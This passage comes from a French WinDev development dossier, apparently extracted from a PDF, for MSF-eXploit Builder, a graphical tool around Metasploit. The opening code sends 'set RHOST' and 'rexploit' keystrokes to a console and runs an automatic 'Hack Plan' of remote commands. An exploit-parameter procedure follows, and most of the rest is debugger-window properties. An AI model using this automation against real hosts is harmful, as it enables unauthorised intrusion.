FIN

EnvoieTouche("set RHOST "+RHOST+"{ENTREE}",nResHandleFen)Multitâche(100) //1 sec

//Lance l'exploitEnvoieTouche("rexploit"+"{ENTREE}",nResHandleFen) //+"{ENTREE}") //,ResHandleFen)

SI AUTOHACK=1 ALORS//****************************************************************************************************************************************

//On exécute le Hack Plan

Page 306: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 308

//****************************************************************************************************************************************

Multitâche(300) //3 secHLitPremier(COMMANDE,IDCOMMANDE)TANTQUE PAS HEnDehors

SI COMMANDE.LIEU="REMOTE" ALORSstrCOMMANDE is string=COMMANDE.COMMANDE

//Remplacement des variables globalesSI ChaîneOccurrence(strCOMMANDE,"IPLAN")>0 ALORSstrCOMMANDE=Remplace(strCOMMANDE,"IPLAN", gsStrIPLAN)SI ChaîneOccurrence(strCOMMANDE,"IPWAN")>0 ALORS strCOMMANDE=Remplace(strCOMMANDE,"IPWAN", gsStrIPWAN)

EnvoieTouche(strCOMMANDE+"{ENTREE}",nResHandleFen)Multitâche(150) //1 sec

SINON //LOCAL

FINHLitSuivant(COMMANDE)

FINFIN

SINONMessage("Impossible de lancer la console :-(")

FIN //SI ResHandleFen>0 ALORS

FIN //SEL_Sélecteur1

Initialisation de SAI_MSFWEB_PORT//si moimeme=0 alors moimeme=55555

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

A chaque modification de SEL_Sélecteur1

SI MoiMême<>1 ALORSSAI_MSFWEB_IP..Visible=FauxSAI_MSFWEB_PORT..Visible=Faux

SINONSAI_MSFWEB_IP..Visible=VraiSAI_MSFWEB_PORT..Visible=Vrai

FIN

Page 307: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 310

EXPLOIT_PARAMETERS Procédures

Procédure locale Affiche_PARAMETRES_EXPLOIT// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://Affiche_PARAMETRES_EXPLOIT ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE Affiche_PARAMETRES_EXPLOIT()

//On affiche dans la table les paramètres de l'exploitHLitRecherche(PARAMETRE_EXPLOIT,IDEXPLOIT,iIDEXPLOIT)TANTQUE H.Trouve

HLitRecherche(PARAMETRE,IDPARAMETRE,PARAMETRE_EXPLOIT.IDPARAMETRE)SELON PARAMETRE.NOM

CAS "RHOST"TableAjoute(TABLE_Table1,PARAMETRE.NOM+TAB+sRHOST)

CAS "RPORT"SI sRPORT<>"" ALORS

TableAjoute(TABLE_Table1,PARAMETRE.NOM+TAB+sRPORT)SINON //On essaie de proposer un port

SI ChaîneOccurrence(Upper(LIB_EXPLOIT), "FTP") >0 ALORSTableAjoute(TABLE_Table1,PARAMETRE.NOM+TAB+21)

SINONTableAjoute(TABLE_Table1,PARAMETRE.NOM+TAB+"")

FINFIN

CAS "TARGET"TableAjoute(TABLE_Table1,PARAMETRE.NOM+TAB+0)

AUTRE CASSI PARAMETRE_EXPLOIT.VALEUR_DEFAUT<>"" ALORS

TableAjoute(TABLE_Table1,PARAMETRE.NOM+TAB+PARAMETRE_EXPLOIT.VALEUR_DEFAUT)

Page 308: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 311

SINON //On utilise la valeur par défaut du paramètreTableAjoute(TABLE_Table1,PARAMETRE.NOM+TAB+PARAMETRE.VALEUR_DEFAUT)

FINFINHLitSuivant(PARAMETRE_EXPLOIT)

FIN

Page 309: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 312

FEN_MAIN_WDDEBUG Image

Page 310: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 313

FEN_MAIN_WDDEBUG Informations générales

FEN_MAIN_WDDEBUG

Fichier physique G:\Mes Projets\MSF-XB11\FEN_MAIN_WDDEBUG.wdw

Crée par VINCE

Date de création 29/07/2008 20:59:52

Dernière modification par JA-PSI

Date dernière modification 11/10/2008 19:29:56

Titre FR,GB: WD Debugger v 1.0 beta

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 803

Hauteur 667

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0

Page 311: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 314

Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 4Pos. Y Menu 29M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\Bg_ZuneStyle.gifIconeImage poignée

Page 312: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 315

Statistiques de la fenêtreLibellé 1 Bouton 9

Image 1 Table 2

Forme 1 Option de menu 3

Colonne de table 5 Case barre de message 1

Nombre d'éléments dans la fenêtre : 23

FEN_MAIN_WDDEBUG Informations sur les champs

Fenêtre : FEN_MAIN_WDDEBUGLibellé

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

RADTITRE 24 6 673 21 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_MCU 703 4 21 21 0 Actif Normal

BTN_RUN 242 61 112 24 0 Actif Normal

BTN_SYS_FERMER 776 4 21 21 0 Actif Normal

BTN_SYS_MAXIMISER 753 4 21 21 0 Actif Interrup

BTN_SYS_REDUIRE 730 4 21 21 0 Actif Interrup

BTN_SYS_RESTAURER 753 4 21 21 0 Actif Normal

BTN_WEB 648 63 147 20 0 Actif Normal

Bouton1 6 61 112 24 0 Actif Normal

Bouton2 124 61 112 24 0 Actif Normal

Page 313: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 316

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

IMG_ICONE 6 8 16 16 0 Actif

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TAB_REGISTRE 494 99 300 259 0 affichag Mémoire 0

Table1 6 99 483 529 0 affichag Mémoire 0

FormePosition Position Largeur Hauteur Plan Visib Etat initial Touc

Forme1 6 91 791 2 0 Actif

Table : TAB_REGISTREColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

COL_REGISTRE 73 Actif Gauche Centre Texte

COL_ADR 81 Actif Gauche Centre Texte

COL_VAL 131 Actif Gauche Centre Texte

Table : Table1Colonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

COL_ADRESSE 134 Actif Gauche Centre Texte

COL_INST_ASM 330 Actif Gauche Centre Texte

Page 314: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 317

Fenêtre : FEN_MAIN_WDDEBUGBouton : BTN_MCU

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: BoutonOrdre navigation 1Curseur survol 0On/Off Non

Altitude 7

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_MCU_Zune Style.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_Syst_ZuneStyle.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 315: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 318

Bouton : BTN_RUN

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Run Program (F9)Ordre navigation 4Curseur survol 0On/Off Non

Altitude 10

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_ZuneStyle_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 316: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 319

Bouton : BTN_SYS_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 4

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnSyst_Close_ZuneStyle.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_SystClose_ZuneStyle.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 317: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 320

Bouton : BTN_SYS_MAXIMISER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 5

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnSyst_Maximise.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_Syst_ZuneStyle.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 318: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 321

Bouton : BTN_SYS_REDUIRE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 6

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnSyst_Minimize_ZuneStyle.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_Syst_ZuneStyle.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 319: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 322

Bouton : BTN_SYS_RESTAURER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RestaurerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnSyst_Restore.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_Syst_ZuneStyle.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 320: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 323

Bouton : BTN_WEB

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: http://vroy1.free.fr/wpfrOrdre navigation 7Curseur survol 31000On/Off Non

Altitude 14

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Nb. états fond 1Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 321: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 324

Bouton : Bouton1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Trace Into (F7)Ordre navigation 2Curseur survol 0On/Off Non

Altitude 8

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_ZuneStyle_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 322: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 325

Bouton : Bouton2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Trace Over (F8)Ordre navigation 3Curseur survol 0On/Off Non

Altitude 9

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\Btn_ZuneStyle_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 323: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 326

Forme : Forme1

Note pour le dossier

FR,GB: FR,GB:

Altitude 11Sens Horizontal

Numéro aide 0

Opacité 100

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : IMG_ICONE

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\LCD18180.pngCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 2

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>

Page 324: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 327

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTITRE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: WD Debugger v 1.0 betaCurseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : TAB_REGISTRE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: TableOrdre navigation 6Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens Vertical

Page 325: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 328

Altitude 13Retrait gauche 0

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageSomme FR,GB: SommeMoyenne FR,GB: MoyenneCompteur FR,GB: CompteurTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : Table1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: TableOrdre navigation 5Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens Vertical

Page 326: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 329

Altitude 12Retrait gauche 0

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageSomme FR,GB: SommeMoyenne FR,GB: MoyenneCompteur FR,GB: CompteurTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : TAB_REGISTRE

Page 327: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 330

Colonne de table : TAB_REGISTRE.COL_REGISTRE (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: RegistreCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : TAB_REGISTRE.COL_ADR (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: AdressesCurseur survol 0Touche TAB Oui

Numéro aide 0

Page 328: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 331

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : TAB_REGISTRE.COL_VAL (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: ValeursCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 329: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 332

Table : Table1Colonne de table : Table1.COL_ADRESSE (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: AdressesCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 330: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 333

Colonne de table : Table1.COL_INST_ASM (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: Instructions assembleursCurseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

FEN_MAIN_WDDEBUG Informations sur les menus

Page 331: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 334

Menu fenêtre

Nom des optionsMenu (1)

Ouvrir (2)

Libellé des options : FrançaisFichier

Ouvrir un fichier à débugger

Libellé des options : AnglaisFichier

Ouvrir un fichier à débugger

Page 332: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 335

FEN_MAIN_WDDEBUG Code

Déclarations globales de FEN_MAIN_WDDEBUGPROCEDURE FEN_MAIN_WDDEBUG(pVGP_Executable="", gAutoRun=0)

CONTEXT_CONTROL est un entier = OUBinaire(0x00010000,0x00000001)CONTEXT_INTEGER est un entier = OUBinaire(0x00010000,0x00000002)CONTEXT_SEGMENTS est un entier = OUBinaire(0x00010000,0x00000004)CONTEXT_DEBUG_REGISTERS is int = OUBinaire(0x00010000,0x00000010)

CONTEXT_FULL est un entier = OUBinaire(OUBinaire(CONTEXT_CONTROL,CONTEXT_INTEGER),CONTEXT_SEGMENTS)

gnMyHdll est un entier système= ChargeDLL (VGP_RepDebugger+VGP_DisasmLibrary)

Initialisation de FEN_MAIN_WDDEBUGVGP_Executable=pVGP_Executable

SI VGP_Executable<>"" ALORS

SI C_PE:getInfoPE (VGP_Executable) ALORS

TableSupprimeTout(FEN_MAIN_WDDEBUG.Table1)// TableSupprimeTout(FEN_MAIN_WDDEBUG.Table1)

WD_AJOUTE_REGISTRE()

SI ThreadEtat("Thread1")=threadEnCours ALORS ThreadArrête("Thread1")

ThreadExécute("Thread1",threadNormal,WD_Do_Debug_Loop)

FIN

FINSI FEN_MAIN_WDDEBUG.gAutoRun ALORS

Multitâche(500)ExécuteTraitement(FEN_MAIN_WDDEBUG.BTN_RUN, trtClic)

Page 333: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 336

FIN

Fermeture de FEN_MAIN_WDDEBUG

DéchargeDLL(gnMyHdll)

//FinProgramme()

Page 334: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 337

FEN_MAIN_WDDEBUG Code des champs

Sélection du menu de _Menu.Menu.OuvrirVGP_Executable=""

VGP_Executable =fSélecteur("", "", "Sélectionnez un fichier à débugger ...", "Tous fichiers (*.*)"+TAB+"*.*"+RC+"Exécutable"+TAB+"*.exe", "exe", fselOuvre+fselExiste)SI VGP_Executable<>"" ALORS

SI C_PE:getInfoPE (VGP_Executable) ALORS

TableSupprimeTout(FEN_MAIN_WDDEBUG.Table1)// TableSupprimeTout(FEN_MAIN_WDDEBUG.Table1)

WD_AJOUTE_REGISTRE()

SI ThreadEtat("Thread1")=threadEnCours ALORS ThreadArrête("Thread1")

ThreadExécute("Thread1",threadNormal,WD_Do_Debug_Loop)

FIN

FIN

Clic sur Bouton1

WD_DBG_STEP_INTO()

Clic sur Bouton2WD_DBG_STEP_OVER()

Clic sur BTN_MCU

Clic sur BTN_RUN

Page 335: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 338

WD_DBG_RUN_PROGRAM()Message("Program running...")

Clic sur BTN_SYS_FERMER

Clic sur BTN_SYS_MAXIMISER

Clic sur BTN_SYS_REDUIRE

Clic sur BTN_WEB// Exécuter l'adresse passée en paramètreLanceAppliAssociée(MoiMême..Libellé)SI ErreurDétectée ALORS

Erreur(ErreurInfo())FIN

Initialisation de IMG_ICONE

SI MaFenêtre..Image <> "" ALORS img_icone = MaFenêtre..Image

Initialisation de RADTITRE

RADTITRE = MaFenêtre..Titre

Page 336: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 339

MSFXB_Menu Image

Page 337: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 340

MSFXB_Menu Informations générales

MSFXB_Menu

Fichier physique G:\Mes Projets\MSF-XB11\MSFXB_Menu.wdw

Crée par JA

Date de création 07/05/2007 18:54:53

Dernière modification par JA-PSI

Date dernière modification 13/08/2008 17:55:58

TitreFR: MSF-eXploit Builder - Jérôme ATHIAS (www.ja-psi.fr)GB: MSF-eXploit Builder - Jerome Athias (www.ja-psi.com)

Type fenêtre Fenêtre libre

Mode ouverture Maximisée à l'ouverture

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 1024

Hauteur 768

